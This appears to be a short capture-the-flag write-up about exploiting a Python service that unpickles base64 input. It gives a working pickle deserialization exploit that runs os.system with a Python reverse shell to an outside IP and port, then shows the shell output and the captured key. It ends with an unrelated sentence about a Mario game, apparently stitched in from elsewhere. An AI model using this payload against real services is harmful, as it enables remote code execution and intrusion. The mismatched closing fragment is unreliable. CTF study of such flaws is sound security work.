Python – 200 Points
nc csawctf.poly.edu 53080
When we connected to the port it was running a service Haderper:
----------------------------- | Welcome to Haderper! | | Please enter your command | ----------------------------- > help Haderper v0.1-alpha Command help: help - this screen exec - execute a command derp - derp a string underp - underp a string logout/exit - disconnect > derp hi UydoaScKcDAKLg== > underp UydoaScKcDAKLg== hi >
If we decode the base64 string we can see that it looks like a Pickle dump file:
$ echo UydoaScKcDAKLg== | base64 -d S'hi' p0
After several failed attempts to get a reverse shell or read command output (nc, ls >/dev/tcp, etc) and knowing that the daemon is running on python, we use a reverse shell written in python from reverse shell cheatsheet.
# credits for this code goes to Jeff Epler import pickle, new, base64 def nasty(module, function, *args): return pickle.dumps(new.classobj(function, (), {'__getinitargs__': lambda self, arg = args: arg, '__module__': module}) ()) print "underp "+base64.b64encode(nasty("os", "system", "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"1.1.1.7\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")) $ python xpl.py | nc csawctf.poly.edu 53080
And our listening nc gets the remote shell:
$ nc -lp 8080
$ id
uid=1001(quine) gid=1001(quine) groups=1001(quine)
$ cd
$ ls
haderp.py
haderp.pyc
key.txt
$ cat key.txt
key{38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db}
Key:38d7721de7853c8e385e0ee177e3d15e7a21381bd461a20f631fd1f3048d22db
You can see the code for the daemon here.
. But by playing it we could see that some messages on the game were changed, FLUX instead of MARIO, SADFACE instead of GAME OVER.
